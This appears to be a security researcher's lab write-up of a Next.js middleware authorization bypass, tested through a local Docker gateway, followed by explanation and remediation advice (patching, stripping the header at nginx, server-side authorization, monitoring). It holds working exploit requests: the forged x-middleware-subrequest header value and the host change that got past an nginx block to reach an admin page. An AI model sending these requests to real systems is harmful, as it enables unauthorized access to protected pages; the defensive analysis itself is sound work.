next.js middleware bypass

security researcher

i tested the application through our docker gateway on port 18080 using burp repeater. the request carried a forged internal middleware header and no login cookie. after adjusting the request, the server returned the admin page html.

the first attempt was blocked

i sent the middleware payload in a bare request. nginx returned 403.

```
GET / HTTP/1.1
Host: 127.0.0.1:18080
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: close

```

```
HTTP/1.1 403 Forbidden
Server: nginx
Date: Sat, 24 Oct 2026 12:52:04 GMT
Content-Type: text/plain
Content-Length: 146
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 3600
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: *

```

the adjusted request got through

i changed the host to localhost and added user-agent and accept headers. the middleware payload stayed the same. this response was 200.

```
GET / HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: close


```

```
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 24 Oct 2026 12:52:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 8835
Connection: close
```

the admin page came back



the returned html names the admin dashboard. the request had no login cookie.

i confirmed access to the page html. private data and admin actions need separate tests. both saved requests contain the payload, so a matching request without that header is still needed as a clean baseline.

why it worked

next.js used x-middleware-subrequest to track internal middleware calls. the vulnerable version accepted a value supplied by an external client.

the payload repeats the middleware name five times. that reaches the recursion limit and makes the server skip middleware to avoid running it again. when the session check lives only there, the page can render without that check.

why the controls let it through

the first 403 shows that one request was blocked. i changed the host and added headers in the same step, so the captures do not tell us which change removed that block. the exploit header was present in both attempts, and the second attempt got through.

the successful response shows that an external client could still supply the internal control value. a waf or suricata rule could block this header, but the checks in this setup allowed the successful request to reach next.js. suricata needs to see the traffic and have a matching drop rule running inline to stop it.

dlp sees the response content it is configured to inspect; it does not verify the user's right to open the page. docker network isolation still allows the intended web connection. wazuh needs relevant events and rules to flag the behavior. these screenshots do not establish whether monitoring raised an alert.

what i would change

update the framework. replace 15.2.2 with a currently supported, fully patched next.js release. 15.2.3 was the first fix for this cve on the 15.x branch. use the current security release as the upgrade target, rather than that old minimum.

stop external clients setting the internal header. reject public requests carrying x-middleware-subrequest at nginx, or remove that header before forwarding them. nginx can remove it by giving proxy_set_header an empty value for that field. apply this at public ingress, keep internal traffic separate and test normal navigation.

check access where data is read or changed. verify the session and required permissions inside sensitive routes, api handlers and server actions. use shared server-side authorization code close to the data. a skipped middleware check should still leave the protected operation requiring a valid user.

close routes around the gateway. publish only the intended entry point. keep the next.js container on a private docker network and check for direct app ports or alternate hostnames that let clients avoid the header policy.

make the behavior visible. send gateway and application events to wazuh. record request ids, the protected route, the server-verified identity and the decision. alert when a protected route serves data without a verified identity. verify suricata sees the inspected traffic and enforces the intended drop rules.

how i would verify the fix

repeat the same request with and without the forged header, keeping the other headers identical. test missing, expired and low-privilege sessions. protected content should stay unavailable while authorized access still works. confirm the expected block and events in the logs, then keep these checks for future updates.

references

next.js security advisory - official fix and external-header workaround

zhero and inzo original research - the header and recursion-limit bypass

next.js authentication guide - authorization close to data and server actions

nginx proxy documentation - removing a header with proxy_set_header

suricata ips documentation - inline filtering and drop enforcement

wazuh custom rules - rules for application and security events

docker port publishing - preventing direct exposure of the application